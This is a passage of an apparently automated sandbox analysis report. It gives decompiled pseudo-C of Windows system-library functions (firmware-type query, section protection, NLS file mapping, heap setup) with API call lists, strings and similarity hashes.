					if(_t113 != 0) {
						_push(_t118 - 0x70);
						_push( *(_t118 - 0x70));
						_push(_t113);
						_push(4);
						_push(_t118 - 0x78);
						_push(0x6b);
						_t84 = E6A95AA90();
						 *((intOrPtr*)(_t118 - 0x64)) = _t84;
						if(_t84 < 0) {
							goto L29;
						}
						_t110 = 0;
						_t106 = 0;
						while(1) {
							 *((intOrPtr*)(_t118 - 0x84)) = _t110;
							 *(_t118 - 0x88) = _t106;
							if(_t106 >= ( *(_t113 + 0xa) & 0x0000ffff)) {
								break;
							}
							_t110 = _t110 + ( *(_t106 * 0x2c + _t113 + 0x21) & 0x000000ff);
							_t106 = _t106 + 1;
						}
						_t88 = E6A99500E(_t106, _t118 - 0x3c, 0x20, _t118 - 0x8c, 0, 0, L"%u", _t110);
						_t119 = _t119 + 0x1c;
						 *((intOrPtr*)(_t118 - 0x64)) = _t88;
						if(_t88 < 0) {
							goto L29;
						}
						_t101 = _t118 - 0x3c;
						_t65 =  *((intOrPtr*)(_t118 - 0x8c)) - _t101 >> 1;
						goto L21;
					}
					_t67 = 0xc0000017;
					goto L28;
				}
				_push(0);
				_push(0x20);
				_push(_t118 - 0x60);
				_push(0x5a);
				_t94 = E6A959860();
				 *((intOrPtr*)(_t118 - 0x64)) = _t94;
				if(_t94 < 0) {
					goto L29;
				}
				if( *((intOrPtr*)(_t118 - 0x50)) == 1) {
					_t101 = L"Legacy";
					_push(6);
				} else {
					_t101 = L"UEFI";
					_push(4);
				}
				_pop(_t65);
				goto L21;
			}

0x6a9951be
0x6a9951c3
0x6a9951c8
0x6a9951cd
0x6a9951d0
0x6a9951d3
0x6a9951d8
0x6a9951db
0x6a9951de
0x6a9951e0
0x6a9951e3
0x6a9951e6
0x6a9951e8
0x6a995342
0x6a995351
0x6a995356
0x6a99535a
0x6a995360
0x6a995363
0x6a995366
0x6a995369
0x6a995369
0x6a99536b
0x6a99536b
0x6a995370
0x6a9953a3
0x6a9953a4
0x6a9953a6
0x6a9953ab
0x6a9953ab
0x6a9953ae
0x6a9953ae
0x6a9953b5
0x6a9953bf
0x6a9953bf
0x6a995375
0x6a995396
0x6a9953a0
0x6a9953a0
0x00000000
0x6a995396
0x6a995377
0x6a995379
0x6a99537f
0x6a99538c
0x6a995390
0x00000000
0x6a995390
0x6a9951ee
0x6a9951f1
0x6a995301
0x6a995310
0x6a995315
0x6a995318
0x6a99531b
0x6a995320
0x6a99532e
0x6a995331
0x00000000
0x6a995331
0x6a995328
0x6a995329
0x00000000
0x6a995329
0x6a9951fa
0x6a995235
0x6a995236
0x6a995239
0x6a99523f
0x6a995240
0x6a995241
0x6a995242
0x6a995246
0x6a995247
0x6a99524e
0x6a995251
0x6a995267
0x6a995269
0x6a99526e
0x6a99527d
0x6a99527e
0x6a995281
0x6a995282
0x6a995287
0x6a995288
0x6a99528a
0x6a99528f
0x6a995294
0x00000000
0x00000000
0x6a99529a
0x6a99529c
0x6a99529e
0x6a99529e
0x6a9952a4
0x6a9952b0
0x00000000
0x00000000
0x6a9952ba
0x6a9952bc
0x6a9952bc
0x6a9952d4
0x6a9952d9
0x6a9952dc
0x6a9952e1
0x00000000
0x00000000
0x6a9952e7
0x6a9952f4
0x00000000
0x6a9952f4
0x6a995270
0x00000000
0x6a995270
0x6a9951fc
0x6a9951fd
0x6a995202
0x6a995203
0x6a995205
0x6a99520a
0x6a99520f
0x00000000
0x00000000
0x6a99521b
0x6a995226
0x6a99522b
0x6a99521d
0x6a99521d
0x6a995222
0x6a995222
0x6a99522d
0x00000000

APIs

ZwQuerySystemInformation.1105(0000005A,?,00000020,00000000,6A9F05F0,00000080,6A985CA1,?,?,00000000,0000000E,00000000), ref: 6A995205

Part of subcall function 6A959860: LdrInitializeThunk.NTDLL(6A9A15BB,00000073,?,00000008,00000000,?,00000568), ref: 6A95986A

ZwQuerySystemInformationEx.1105(0000006B,?,00000004,00000000,00000000,?,6A9F05F0,00000080,6A985CA1,?,?,00000000,0000000E,00000000), ref: 6A995249
RtlAllocateHeap.1105(?,00000008,?,0000006B,?,00000004,00000000,00000000,?,6A9F05F0,00000080,6A985CA1,?,?,00000000,0000000E), ref: 6A995262
ZwQuerySystemInformationEx.1105(0000006B,?,00000004,00000000,?,?,?,0000006B,?,00000004,00000000,00000000,?,6A9F05F0,00000080,6A985CA1), ref: 6A99528A
RtlFindCharInUnicodeString.1105(00000001,?,6A8F1810,?,6A9F05F0,00000080,6A985CA1,?,?,00000000,0000000E,00000000), ref: 6A995310
RtlEnterCriticalSection.1105(?,6A9F05F0,00000080,6A985CA1,?,?,00000000,0000000E,00000000), ref: 6A995351
memcpy.1105(?,00000002,?,?,?,?,?,?,?,?,?,?,?,?,6A9F05F0,00000080), ref: 6A99537F

Strings

UEFI, xrefs: 6A99521D
Legacy, xrefs: 6A995226

Memory Dump Source

Source File: 00000016.00000002.449035922.000000006A8F1000.00000020.00020000.sdmp, Offset: 6A8F0000, based on PE: true

Associated: 00000016.00000002.448930992.000000006A8F0000.00000002.00020000.sdmp Download File
Associated: 00000016.00000002.451301490.000000006AA05000.00000008.00020000.sdmp Download File
Associated: 00000016.00000002.451364864.000000006AA0B000.00000004.00020000.sdmp Download File
Associated: 00000016.00000002.451409914.000000006AA0F000.00000002.00020000.sdmp Download File

Similarity

API ID: InformationQuerySystem$AllocateCharCriticalEnterFindHeapInitializeSectionStringThunkUnicodememcpy
String ID: Legacy$UEFI
API String ID: 3324348579-634100481
Opcode ID: bba7d32fff37b1b4865da02ad85d43602a168211280d226d1a73245a09c1da44
Instruction ID: 95891d7ac07c65b09a8ec2b3e93f33e75e270c8733b0755d272f2ed52116d064
Opcode Fuzzy Hash: bba7d32fff37b1b4865da02ad85d43602a168211280d226d1a73245a09c1da44
Instruction Fuzzy Hash: 7F517CB1904609EFDB24CFA8C841AAEBBF8BF48305F29442DE518EB251DF71D905CB10

Uniqueness

Uniqueness Score: -1.00%

Function 6A993C93, Relevance: 15.9, APIs: 8, Strings: 1, Instructions: 141
nativeCOMMON

Download Yara Rule

C-Code - Quality: 89%

			E6A993C93(intOrPtr __ecx, wchar_t* __edx, intOrPtr _a4) {
				intOrPtr _v8;
				signed int _v12;
				char _v16;
				char _v20;
				intOrPtr _v24;
				char _v28;
				wchar_t* _v32;
				intOrPtr _v36;
				short _v38;
				void* _v40;
				void* _v48;
				void* _v56;
				void* __ebp;
				wchar_t* _t40;
				long _t43;
				long _t67;
				signed int _t72;
				intOrPtr _t75;
				signed short _t76;
				short _t78;
				intOrPtr _t79;
				void* _t80;
				signed short* _t81;
				intOrPtr _t84;
				void* _t85;
				void* _t89;

				_v12 = _v12 & 0x00000000;
				_t81 = __edx;
				_t79 = __ecx;
				_v24 = __ecx;
				_t40 = wcschr(__edx, 0x3d);
				if(_t40 == 0) {
					L25:
					__eflags = 0;
					return 0;
				}
				 *_t40 = 0;
				_t72 =  *_t81 & 0x0000ffff;
				_t87 = _t72 - 0x53;
				if(_t72 != 0x53) {
					__eflags = _t72 - 0x4f;
					if(_t72 != 0x4f) {
						goto L25;
					}
					_t43 = wcstoul( &(_t40[0]),  &_v32, 0x10);
					_t85 = _t85 + 0xc;
					_v12 = _t43;
					__eflags = _t43;
					if(__eflags == 0) {
						goto L25;
					}
					_t67 = 1;
					L6:
					_t80 = E6A993E74(_t79, _t87);
					if(_t80 == 0) {
						goto L25;
					}
					_t75 = 0;
					_t84 = ( *(_t80 + 0x14) & 0x0000ffff) + 0x18 + _t80;
					_t89 = 0 -  *(_t80 + 6);
					while(1) {
						_v8 = _t75;
						if(_t89 >= 0) {
							break;
						}
						_t78 = 8;
						if( *((intOrPtr*)(_t84 + 0xc)) == 0 ||  *((intOrPtr*)(_t84 + 8)) == 0) {
							L23:
							_t75 = _t75 + 1;
							_t84 = _t84 + 0x28;
							_t89 = _t75 - ( *(_t80 + 6) & 0x0000ffff);
							continue;
						} else {
							if(_t67 != 0) {
								_t21 = _t75 + 1; // 0x2
								__eflags = _v12 - _t21;
								if(_v12 != _t21) {
									L21:
									__eflags = _t67;
									if(_t67 != 0) {
										goto L23;
									}
									L22:
									RtlFreeUnicodeString( &_v48);
									_t75 = _v8;
									goto L23;
								}
								L19:
								_v16 =  *((intOrPtr*)(_t84 + 8));
								_v20 =  *((intOrPtr*)(_t84 + 0xc)) + _v24;
								_push( &_v28);
								_push(_a4);
								_push( &_v16);
								_push( &_v20);
								_push(0xffffffff);
								E6A959A00();
								_push(_v28);
								_push(_v16);
								_push(_v20);
								E6A9A5720(0x55, 3, "Set 0x%X protection for %p section for %d bytes, old protection 0x%X\n", _a4);
								_t85 = _t85 + 0x1c;
								__eflags = _t67;
								if(_t67 != 0) {
									break;
								}
								_t75 = _v8;
								goto L21;
							}
							_t76 = 0;
							_v36 = _t84;
							_v38 = _t78;
							_v40 = 0;
							while( *((char*)((_t76 & 0x0000ffff) + _t84)) != 0) {
								_t76 = _t76 + 1;
								_v40 = _t76;
								if(_t76 < _t78) {
									continue;
								}
								break;
							}
							if(RtlAnsiStringToUnicodeString( &_v48,  &_v40, 1) < 0) {
								goto L25;
							}
							if(RtlCompareUnicodeString( &_v56,  &_v48, 1) == 0) {
								goto L19;
							}
							goto L22;
						}
					}
					return 1;
				}
				RtlInitUnicodeString( &_v56,  &(_t40[0]));
				_t67 = 0;
				goto L6;
			}

0x6a993c9b
0x6a993ca2
0x6a993ca4
0x6a993ca9
0x6a993cac
0x6a993cb5
0x6a993e08
0x6a993e08
0x00000000
0x6a993e08
0x6a993cbd
0x6a993cc0
0x6a993cc3
0x6a993cc6
0x6a993cd9
0x6a993cdc
0x00000000
0x00000000
0x6a993cec
0x6a993cf1
0x6a993cf4
0x6a993cf7
0x6a993cf9
0x00000000
0x00000000
0x6a993cff
0x6a993d01
0x6a993d08
0x6a993d0c
0x00000000
0x00000000
0x6a993d1b
0x6a993d1d
0x6a993d1f
0x6a993d23
0x6a993d23
0x6a993d26
0x00000000
0x00000000
0x6a993d32
0x6a993d33
0x6a993df5
0x6a993df9
0x6a993dfa
0x6a993dfd
0x00000000
0x6a993d43
0x6a993d45
0x6a993d94
0x6a993d97
0x6a993d9a
0x6a993de5
0x6a993de5
0x6a993de7
0x00000000
0x00000000
0x6a993de9
0x6a993ded
0x6a993df2
0x00000000
0x6a993df2
0x6a993d9c
0x6a993d9f
0x6a993da8
0x6a993dae
0x6a993daf
0x6a993db5
0x6a993db9
0x6a993dba
0x6a993dbc
0x6a993dc1
0x6a993dc4
0x6a993dc7
0x6a993dd6
0x6a993ddb
0x6a993dde
0x6a993de0
0x00000000
0x00000000
0x6a993de2
0x00000000
0x6a993de2
0x6a993d47
0x6a993d49
0x6a993d4c
0x6a993d50
0x6a993d54
0x6a993d5d
0x6a993d5f
0x6a993d66
0x00000000
0x00000000
0x00000000
0x6a993d66
0x6a993d79
0x00000000
0x00000000
0x6a993d90
0x00000000
0x00000000
0x00000000
0x6a993d92
0x6a993d33
0x00000000
0x6a993e04
0x6a993cd0
0x6a993cd5
0x00000000

APIs

wcschr.1105(?,0000003D,00000000,?), ref: 6A993CAC
RtlInitUnicodeString.1105(?,-00000002,00000000,?), ref: 6A993CD0
wcstoul.1105(-00000002,?,00000010,00000000,?), ref: 6A993CEC
RtlAnsiStringToUnicodeString.1105(?,?,00000001,00000000,?), ref: 6A993D72
RtlCompareUnicodeString.1105(?,?,00000001,?,?,00000001,00000000,?), ref: 6A993D89
ZwProtectVirtualMemory.1105(000000FF,?,?,00000000,?,00000000,?), ref: 6A993DBC
DbgPrintEx.1105(00000055,00000003,Set 0x%X protection for %p section for %d bytes, old protection 0x%X,00000000,?,?,?,000000FF,?,?,00000000,?,00000000,?), ref: 6A993DD6
RtlFreeUnicodeString.1105(?,00000000,?), ref: 6A993DED

Strings

Set 0x%X protection for %p section for %d bytes, old protection 0x%X, xrefs: 6A993DCD

Memory Dump Source

Source File: 00000016.00000002.449035922.000000006A8F1000.00000020.00020000.sdmp, Offset: 6A8F0000, based on PE: true

Associated: 00000016.00000002.448930992.000000006A8F0000.00000002.00020000.sdmp Download File
Associated: 00000016.00000002.451301490.000000006AA05000.00000008.00020000.sdmp Download File
Associated: 00000016.00000002.451364864.000000006AA0B000.00000004.00020000.sdmp Download File
Associated: 00000016.00000002.451409914.000000006AA0F000.00000002.00020000.sdmp Download File

Similarity

API ID: String$Unicode$AnsiCompareFreeInitMemoryPrintProtectVirtualwcschrwcstoul
String ID: Set 0x%X protection for %p section for %d bytes, old protection 0x%X
API String ID: 1186784509-1979073566
Opcode ID: 4c95248c25c71d10d688fdec731b6f0cbd2beaa20d4c4e012a740f12d952499e
Instruction ID: 48975db75a6b19bb833967d48746de3966b926b4586117a8d16635b32c571918
Opcode Fuzzy Hash: 4c95248c25c71d10d688fdec731b6f0cbd2beaa20d4c4e012a740f12d952499e
Instruction Fuzzy Hash: E841AE72904209BBDB10CEA4C855AEFFBFCAF18314F29402AE959A3180EF31DA41C760

Uniqueness

Uniqueness Score: -1.00%

Function 6A94F0BF, Relevance: 15.9, APIs: 8, Strings: 1, Instructions: 137
memorynativefileCOMMON

Download Yara Rule

C-Code - Quality: 75%

			E6A94F0BF(signed short* __ecx, signed short __edx, void* __eflags, void** _a4) {
				intOrPtr _v8;
				intOrPtr _v12;
				intOrPtr _v16;
				char* _v20;
				intOrPtr _v24;
				char _v28;
				char _v44;
				intOrPtr _v48;
				char _v52;
				intOrPtr _v56;
				char _v60;
				intOrPtr _v68;
				void* _v72;
				intOrPtr _v76;
				void* _t51;
				signed short _t82;
				short _t84;
				signed int _t91;
				void* _t97;
				signed int _t100;
				signed short* _t103;
				void* _t108;
				void* _t109;

				_t103 = __ecx;
				_t82 = __edx;
				_t51 = L6A934120(0, __ecx, 0,  &_v52, 0, 0, 0);
				if(_t51 >= 0) {
					_push(0x21);
					_push(3);
					_v56 =  *0x7ffe02dc;
					_v20 =  &_v52;
					_push( &_v44);
					_v28 = 0x18;
					_push( &_v28);
					_push(0x100020);
					_v24 = 0;
					_push( &_v60);
					_v16 = 0x40;
					_v12 = 0;
					_v8 = 0;
					_t108 = E6A959830();
					RtlFreeHeap( *( *[fs:0x30] + 0x18), 0, _v72);
					if(_t108 < 0) {
						L11:
						_t51 = _t108;
					} else {
						_push(4);
						_push(8);
						_push( &_v44);
						_push( &_v52);
						_push(_v68);
						_t108 = E6A959990();
						if(_t108 < 0) {
							L10:
							_push(_v68);
							E6A9595D0();
							goto L11;
						} else {
							_t109 = RtlAllocateHeap( *( *[fs:0x30] + 0x18), 0, _t82 + 0x18);
							if(_t109 == 0) {
								_t108 = 0xc0000017;
								goto L10;
							} else {
								_t21 = _t109 + 0x18; // 0x18
								_t97 = _t21;
								 *((intOrPtr*)(_t109 + 4)) = _v76;
								 *_t109 = 1;
								 *(_t109 + 0x10) = _t97;
								 *(_t109 + 0xe) = _t82;
								 *(_t109 + 8) = _v72;
								 *((intOrPtr*)(_t109 + 0x14)) = _v48;
								memcpy(_t97, _t103[2],  *_t103 & 0x0000ffff);
								 *((short*)( *(_t109 + 0x10) + (( *_t103 & 0x0000ffff) >> 1) * 2)) = 0;
								 *((short*)(_t109 + 0xc)) =  *_t103;
								_t91 =  *_t103 & 0x0000ffff;
								_t100 = _t91 & 0xfffffffe;
								_t84 = 0x5c;
								if( *((intOrPtr*)(_t103[2] + _t100 - 2)) != _t84) {
									if(_t91 + 4 > ( *(_t109 + 0xe) & 0x0000ffff)) {
										_push(_v76);
										E6A9595D0();
										RtlFreeHeap( *( *[fs:0x30] + 0x18), 0, _t109);
										_t51 = 0xc0000106;
									} else {
										 *((short*)( *(_t109 + 0x10) + _t100)) = _t84;
										 *((short*)( *(_t109 + 0x10) + 2 + (( *_t103 & 0x0000ffff) >> 1) * 2)) = 0;
										 *((short*)(_t109 + 0xc)) =  *((short*)(_t109 + 0xc)) + 2;
										goto L5;
									}
								} else {
									L5:
									 *_a4 = _t109;
									_t51 = 0;
								}
							}
						}
					}
				}
				return _t51;
			}

0x6a94f0d3
0x6a94f0d9
0x6a94f0e0
0x6a94f0e7
0x6a94f0f2
0x6a94f0f4
0x6a94f0f8
0x6a94f100
0x6a94f108
0x6a94f10d
0x6a94f115
0x6a94f116
0x6a94f11f
0x6a94f123
0x6a94f124
0x6a94f12c
0x6a94f130
0x6a94f144
0x6a94f14b
0x6a94f152
0x6a98bab0
0x6a98bab0
0x6a94f158
0x6a94f158
0x6a94f15a
0x6a94f160
0x6a94f165
0x6a94f166
0x6a94f16f
0x6a94f173
0x6a98baa7
0x6a98baa7
0x6a98baab
0x00000000
0x6a94f179
0x6a94f18d
0x6a94f191
0x6a98baa2
0x00000000
0x6a94f197
0x6a94f19b
0x6a94f19b
0x6a94f1a2
0x6a94f1a9
0x6a94f1af
0x6a94f1b2
0x6a94f1b6
0x6a94f1b9
0x6a94f1c4
0x6a94f1d8
0x6a94f1df
0x6a94f1e3
0x6a94f1eb
0x6a94f1ee
0x6a94f1f4
0x6a94f20f
0x6a98bab7
0x6a98babb
0x6a98bacc
0x6a98bad1
0x6a94f215
0x6a94f218
0x6a94f226
0x6a94f22b
0x00000000
0x6a94f22b
0x6a94f1f6
0x6a94f1f6
0x6a94f1f9
0x6a94f1fb
0x6a94f1fb
0x6a94f1f4
0x6a94f191
0x6a94f173
0x6a94f152
0x6a94f203

APIs

ZwOpenFile.1105(?,?,?,00000021,00100020,?), ref: 6A94F134
RtlFreeHeap.1105(?,00000000,?,?,?,?,00000021,00100020,?), ref: 6A94F14B
ZwQueryVolumeInformationFile.1105(00000000,00000003,?,00000008,00000004,00000000,?,?,?,?,00000021,00100020,?), ref: 6A94F16A
RtlAllocateHeap.1105(?,00000000,?,00000000,00000003,?,00000008,00000004,00000000,?,?,?,?,00000021,00100020,?), ref: 6A94F188
memcpy.1105(00000018,?,00000000,00000000,?,00000000,00000003,?,00000008,00000004,00000000,?,?,?,?,00000021), ref: 6A94F1C4
ZwClose.1105(00000000,00000000,00000003,?,00000008,00000004,00000000,?,?,?,?,00000021,00100020,?), ref: 6A98BAAB
ZwClose.1105(?,?,?,00000000,?,00000000,00000000,00000000,?,00090028,00000000,00000000,00000000,00000000,6AA079A0,6AA079A0), ref: 6A98BABB
RtlFreeHeap.1105(?,00000000,00000000,?,?,?,00000000,?,00000000,00000000,00000000,?,00090028,00000000,00000000,00000000), ref: 6A98BACC

Strings

@, xrefs: 6A94F124

Memory Dump Source

Source File: 00000016.00000002.449035922.000000006A8F1000.00000020.00020000.sdmp, Offset: 6A8F0000, based on PE: true

Associated: 00000016.00000002.448930992.000000006A8F0000.00000002.00020000.sdmp Download File
Associated: 00000016.00000002.451301490.000000006AA05000.00000008.00020000.sdmp Download File
Associated: 00000016.00000002.451364864.000000006AA0B000.00000004.00020000.sdmp Download File
Associated: 00000016.00000002.451409914.000000006AA0F000.00000002.00020000.sdmp Download File

Similarity

API ID: Heap$CloseFileFree$AllocateInformationOpenQueryVolumememcpy
String ID: @
API String ID: 3376599671-2766056989
Opcode ID: 4b412e15f740e7d19b187a206102b9820fe056b1c8be356b654954a4ccb32fe9
Instruction ID: 5b2f52178f70fe5f13e9a14e9c9e924552db5408f590d01e3c3e6787fd0dd877
Opcode Fuzzy Hash: 4b412e15f740e7d19b187a206102b9820fe056b1c8be356b654954a4ccb32fe9
Instruction Fuzzy Hash: 2A51ADB1104711AFD320CF19C841A6BBBF8FF48B14F11892DF99597691EBB4E914CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 6A9C6369, Relevance: 15.9, APIs: 6, Strings: 3, Instructions: 113
nativefileCOMMON

Download Yara Rule

C-Code - Quality: 46%

			E6A9C6369(char* __ecx, intOrPtr* __edx, void* __eflags, intOrPtr* _a4) {
				signed int _v12;
				short _v536;
				char _v540;
				char _v544;
				char _v548;
				intOrPtr _v556;
				char _v560;
				intOrPtr _v564;
				intOrPtr _v568;
				intOrPtr _v572;
				intOrPtr _v576;
				intOrPtr _v580;
				char _v584;
				void* _v592;
				char _v600;
				void* __ebx;
				void* __edi;
				void* __esi;
				char* _t33;
				char* _t50;
				intOrPtr* _t52;
				intOrPtr* _t63;
				signed int _t65;

				_v12 =  *0x6aa0d360 ^ _t65;
				_t52 = _a4;
				_t63 = __edx;
				_t64 = __ecx;
				_t62 = 0x100;
				if(E6A9ACD55( &_v536, 0x100, L"\\SystemRoot\\Globalization\\") < 0) {
					L11:
					_t33 = 0xc0000001;
					L12:
					return E6A95B640(_t33, _t52, _v12 ^ _t65, _t62, _t63, _t64);
				}
				_t64 = 0x100;
				_t62 = 0x100;
				if(E6A9B83B1( &_v536, 0x100, __ecx) < 0) {
					goto L11;
				}
				_t62 = 0x100;
				if(E6A9B83B1( &_v536, 0x100, L".nlp") < 0) {
					goto L11;
				}
				RtlInitUnicodeString( &_v592,  &_v536);
				_v584 = 0x18;
				_push(0);
				_v580 = 0;
				_v576 =  &_v592;
				_push(1);
				_push( &_v600);
				_v572 = 0x40;
				_push( &_v584);
				_push(0x80100000);
				_v568 = 0;
				_push( &_v540);
				_v564 = 0;
				_t64 = E6A959830();
				if(_t64 >= 0) {
					_t62 =  &_v560;
					if(E6A9C60A2(_v540,  &_v560) < 0 || _v556 != 0) {
						_t64 = 0xc0000001;
					} else {
						_push(_v540);
						_push(0x8000000);
						_push(2);
						 *_t52 = _v560;
						_t52 = 0;
						_push(0);
						_push(0);
						_push(0xf0005);
						_push( &_v544);
						_t64 = E6A9599A0();
						if(_t64 >= 0) {
							_push(2);
							_push(0);
							_push(1);
							 *_t63 = 0;
							_push( &_v548);
							_push(0);
							_push(0);
							_push(0);
							_push(_t63);
							_push(0xffffffff);
							_push(_v544);
							_v548 = 0;
							_t50 = E6A959780();
							_push(_v544);
							_t64 = _t50;
							E6A9595D0();
						}
					}
					_push(_v540);
					E6A9595D0();
				}
				_t33 = _t64;
				goto L12;
			}

0x6a9c637b
0x6a9c637f
0x6a9c6384
0x6a9c6386
0x6a9c638d
0x6a9c639f
0x6a9c64e3
0x6a9c64e3
0x6a9c64e8
0x6a9c64f8
0x6a9c64f8
0x6a9c63a6
0x6a9c63b1
0x6a9c63ba
0x00000000
0x00000000
0x6a9c63c5
0x6a9c63d4
0x00000000
0x00000000
0x6a9c63e8
0x6a9c63ef
0x6a9c63f9
0x6a9c6400
0x6a9c6406
0x6a9c6412
0x6a9c6414
0x6a9c641b
0x6a9c6425
0x6a9c6426
0x6a9c6431
0x6a9c6437
0x6a9c6438
0x6a9c6443
0x6a9c6447
0x6a9c6453
0x6a9c6460
0x6a9c64cf
0x6a9c646b
0x6a9c646b
0x6a9c6477
0x6a9c647c
0x6a9c647e
0x6a9c6480
0x6a9c6482
0x6a9c6483
0x6a9c6484
0x6a9c648f
0x6a9c6495
0x6a9c6499
0x6a9c649b
0x6a9c649d
0x6a9c649e
0x6a9c64a6
0x6a9c64a8
0x6a9c64a9
0x6a9c64aa
0x6a9c64ab
0x6a9c64ac
0x6a9c64ad
0x6a9c64af
0x6a9c64b5
0x6a9c64bb
0x6a9c64c0
0x6a9c64c6
0x6a9c64c8
0x6a9c64c8
0x6a9c6499
0x6a9c64d4
0x6a9c64da
0x6a9c64da
0x6a9c64df
0x00000000

APIs

RtlInitUnicodeString.1105(?,?,.nlp,?,\SystemRoot\Globalization\,?,00000000,?), ref: 6A9C63E8
ZwOpenFile.1105(?,80100000,00000018,?,00000001,00000000,?,?,.nlp,?,\SystemRoot\Globalization\,?,00000000,?), ref: 6A9C643E

Part of subcall function 6A9C60A2: ZwQueryInformationFile.1105(?,00000001,?,00000018,00000005,00000000,?,00000001,00000000,?,?,.nlp,?,\SystemRoot\Globalization\,?,00000000), ref: 6A9C60C4

ZwCreateSection.1105(?,000F0005,00000000,00000000,00000002,08000000,?,?,80100000,00000018,?,00000001,00000000,?,?,.nlp), ref: 6A9C6490

Part of subcall function 6A9599A0: LdrInitializeThunk.NTDLL(6A9A1A59,?,000F0007,?,?,00000004,08000000,00000000,00000065,00000000,00000000), ref: 6A9599AA

ZwMapViewOfSection.1105(?,000000FF,00000000,00000000,00000000,00000000,?,00000001,00000000,00000002,?,000F0005,00000000,00000000,00000002,08000000), ref: 6A9C64BB

Part of subcall function 6A959780: LdrInitializeThunk.NTDLL(6A9A1A79,?,000000FF,?,00000000,00000000,00000000,?,00000001,00000000,00000004,?,000F0007,?,?,00000004), ref: 6A95978A

ZwClose.1105(?,?,000000FF,00000000,00000000,00000000,00000000,?,00000001,00000000,00000002,?,000F0005,00000000,00000000,00000002), ref: 6A9C64C8
ZwClose.1105(?,?,80100000,00000018,?,00000001,00000000,?,?,.nlp,?,\SystemRoot\Globalization\,?,00000000,?), ref: 6A9C64DA

Strings

\SystemRoot\Globalization\, xrefs: 6A9C6388
.nlp, xrefs: 6A9C63C0
@, xrefs: 6A9C641B

Memory Dump Source

Source File: 00000016.00000002.449035922.000000006A8F1000.00000020.00020000.sdmp, Offset: 6A8F0000, based on PE: true

Associated: 00000016.00000002.448930992.000000006A8F0000.00000002.00020000.sdmp Download File
Associated: 00000016.00000002.451301490.000000006AA05000.00000008.00020000.sdmp Download File
Associated: 00000016.00000002.451364864.000000006AA0B000.00000004.00020000.sdmp Download File
Associated: 00000016.00000002.451409914.000000006AA0F000.00000002.00020000.sdmp Download File

Similarity

API ID: CloseFileInitializeSectionThunk$CreateInformationInitOpenQueryStringUnicodeView
String ID: .nlp$@$\SystemRoot\Globalization\
API String ID: 4284092774-2934557456
Opcode ID: 86dfedfb30f525f4de1e664d21803e89421de22e20e639e543276cb97f57349a
Instruction ID: 059402f3d970aeb47d871f408d631af0f5e384ce563c63399c5db7a884d36e00
Opcode Fuzzy Hash: 86dfedfb30f525f4de1e664d21803e89421de22e20e639e543276cb97f57349a
Instruction Fuzzy Hash: 9D41877194122C6FEB21DB14CC89BDAB7B8EB54354F2141E5EA09A7241EF70DE84CF61

Uniqueness

Uniqueness Score: -1.00%

Function 6A9437EB, Relevance: 15.3, APIs: 10, Instructions: 269
memorynativeCOMMON

Download Yara Rule

C-Code - Quality: 86%

			E6A9437EB(void* __ebx, intOrPtr __ecx, signed int __edx, void* __edi, void* __esi, void* __eflags) {
				intOrPtr _t98;
				intOrPtr _t102;
				char* _t113;
				signed short _t123;
				signed int _t124;
				signed int _t129;
				intOrPtr* _t133;
				intOrPtr* _t134;
				intOrPtr* _t135;
				intOrPtr* _t139;
				intOrPtr* _t141;
				long _t152;
				void* _t153;
				signed int _t154;
				signed int _t155;
				signed int _t157;
				signed int _t160;
				signed short _t163;
				signed short _t164;
				signed int _t173;
				intOrPtr* _t176;
				short _t178;
				intOrPtr _t179;
				intOrPtr* _t181;
				intOrPtr _t182;
				void* _t183;

				_push(0x50);
				_push(0x6a9eff48);
				E6A96D08C(__ebx, __edi, __esi);
				 *((intOrPtr*)(_t183 - 0x44)) = __ecx;
				 *((intOrPtr*)(_t183 - 0x1c)) = 0xc0000001;
				 *((intOrPtr*)(_t183 - 0x24)) = 0;
				 *((intOrPtr*)(__ecx)) = 0;
				 *(_t183 - 0x2c) = __edx & 0x00000001;
				_t98 =  *[fs:0x30];
				RtlImageNtHeader( *(_t98 + 8));
				if(_t98 == 0) {
					_t178 = 0xc000007b;
					L28:
					return E6A96D0D1(_t178);
				}
				 *((intOrPtr*)(_t183 - 0x38)) =  *((intOrPtr*)(_t98 + 0x60));
				_t179 =  *((intOrPtr*)(_t98 + 0x64));
				 *((intOrPtr*)(_t183 - 0x30)) = _t179;
				_t102 =  *((intOrPtr*)( *[fs:0x30] + 0x208));
				if(_t102 != 0) {
					if(_t179 < _t102) {
						 *((intOrPtr*)(_t183 - 0x30)) = _t102;
					}
				}
				_t181 = RtlAllocateHeap( *( *[fs:0x30] + 0x18),  *0x6aa084c4 + 0x000c0000 | 0x00000008, 0x120);
				 *((intOrPtr*)(_t183 - 0x20)) = _t181;
				 *((intOrPtr*)(_t183 - 4)) = 0;
				 *((intOrPtr*)(_t183 - 0x40)) = 1;
				if(_t181 == 0) {
					L36:
					_t178 = 0xc0000017;
					 *((intOrPtr*)(_t183 - 0x1c)) = 0xc0000017;
					goto L24;
				} else {
					_t152 =  *0x6aa084c4 + 0xc0000;
					 *(_t183 - 0x48) = _t152;
					_t153 = RtlAllocateHeap( *( *[fs:0x30] + 0x18), _t152,  *0x6aa084c0 * 0x24);
					 *((intOrPtr*)(_t183 - 0x24)) = _t153;
					if(_t153 == 0) {
						_t178 = 0xc0000017;
						 *((intOrPtr*)(_t183 - 0x1c)) = 0xc0000017;
						_t181 =  *((intOrPtr*)(_t183 - 0x20));
						L24:
						 *((intOrPtr*)(_t183 - 4)) = 0xfffffffe;
						 *((intOrPtr*)(_t183 - 0x40)) = 0;
						E6A943B5A(_t107, 0, _t178, _t181);
						if(_t178 < 0) {
							goto L28;
						}
						 *((intOrPtr*)( *((intOrPtr*)(_t183 - 0x44)))) = _t181;
						if(E6A937D50() != 0) {
							_t113 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22c;
							_t178 =  *((intOrPtr*)(_t183 - 0x1c));
							_t181 =  *((intOrPtr*)(_t183 - 0x20));
						} else {
							_t113 = 0x7ffe0386;
						}
						if( *_t113 != 0) {
							L32:
							E6A9E8BB6(_t181);
						}
						goto L28;
					}
					_t154 = 0;
					 *(_t183 - 0x28) = 0;
					_t182 =  *((intOrPtr*)(_t183 - 0x20));
					_t173 =  *0x6aa084c0;
					while(_t154 < 3) {
						 *((intOrPtr*)(_t182 + 0x10 + _t154 * 4)) = _t173 * _t154 * 0xc +  *((intOrPtr*)(_t183 - 0x24));
						_t154 = _t154 + 1;
						 *(_t183 - 0x28) = _t154;
					}
					_t155 = 0;
					while(1) {
						 *(_t183 - 0x28) = _t155;
						if(_t155 >= _t173 * 3) {
							break;
						}
